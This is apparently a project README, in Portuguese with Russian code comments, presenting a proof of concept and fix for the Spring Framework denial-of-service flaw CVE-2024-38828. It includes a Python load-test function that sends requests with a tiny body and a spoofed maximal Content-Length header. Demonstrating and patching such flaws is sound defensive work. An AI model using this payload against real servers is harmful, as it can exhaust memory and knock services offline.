
Prova de Conceito e correção para CVE-2024-38828: DoS no Spring Framework via manipulação do Content-Length no ByteArrayHttpMessageConverter. Inclui teste de carga, métricas e um conversor seguro personalizado.
O teste verifica o comportamento/resposta no Spring Framework com a vulnerabilidade CVE-2024-38828 e sem ela.
No ByteArrayHttpMessageConverter, a memória é alocada em ByteArrayOutputStream com base no cabeçalho da requisição Content-Length,
o que pode não corresponder à realidade com o corpo de 0 bytes. Com um aumento repentino dessas requisições (DoS), a memória é usada
de forma ineficiente, ocorrem limpezas regulares de GC e a aplicação começa a lagar. Vou mostrar como implementar/corrigir e as métricas.

CVE-2024-38828 é uma vulnerabilidade do tipo Denial of Service (DoS) no Spring Framework que permite a um atacante causar esgotamento de memória no servidor através de um controlador Spring MVC com parâmetro do tipo byte[].
HttpMessageConverter personalizado para processar arrays de bytes.
├── src/
│ └── main/
│ └── java/
│ └── me/
│ └── func/
│ └── demo/
│ ├── config/
│ │ └── WebConfig.java
│ ├── converter/
│ │ └── SafeByteArrayHttpMessageConverter.java
│ ├── controller/
│ │ └── DemoController.java
│ └── DemoApplication.java
├── tests/
│ ├── load_test.py
│ └── results/
│ ├── результаты_теста.png
│ └── метрики.json
└── README.md
def send_request(url):
try:
response = requests.post(
url,
data=b'0', # Минимальный payload
headers={
'Content-Type': 'application/octet-stream',
'Content-Length': str(2**31 - 1) # Максимальный размер
}
)
return response.status_code, response.text
except Exception as e:
return f"Ошибка: {str(e)}", None
pip install -r requirements.txt
python tests/load_test.py